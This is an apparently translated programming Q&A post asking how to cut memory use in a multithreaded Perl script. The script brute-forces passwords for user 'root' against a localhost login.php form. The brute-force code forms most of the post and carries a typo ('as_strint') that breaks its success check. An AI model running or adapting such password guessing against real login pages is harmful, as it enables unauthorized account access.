【发布时间】:2014-01-11 00:40:01
【问题描述】:
我想创建超过 70 个线程,每个线程都以不同的值开头。
为了更清楚,这是我的代码
use strict;
use warnings;
use threads;
use LWP::UserAgent;
my @char = (("A".."Z"),("a".."z"));
my @threads;
my $ua = LWP::UserAgent->new;
push @threads , threads->create(\&Chara);
sub Chara {
foreach my $a (@char){
foreach my $b (@char){
foreach my $c (@char){
foreach my $d (@char){
foreach my $e (@char){
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]);
my $res = $ua->post(@req);
print "Trying A$e$d$c$b$a\n";
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){
print "A$e$d$c$b$a\n";
exit;
}}}}}}};;
我用不同的值重复了 70 多次,并在我放入脚本的末尾
$_->join foreach @threads;
但是当我运行脚本时它会消耗大量内存
任何建议。
请原谅我的语言。
【问题讨论】:
-
那么你的问题是如何减少内存消耗?
-
减少线程数,毕竟你还没有70个核心。您可能还需要考虑向您的网站添加一些基本的入侵监控......
-
如果你真的想用尽可能少的内存做到这一点,使用 C,而不是 perl,不要使用库,编写你自己的最小函数(库往往有/需要很多在特殊情况下不需要的额外功能。无论如何,您将开始快速使网络服务器超载 - 即使您修复了内存,您也无法以接近全速的速度运行 70 个线程问题。
标签: multithreading perl memory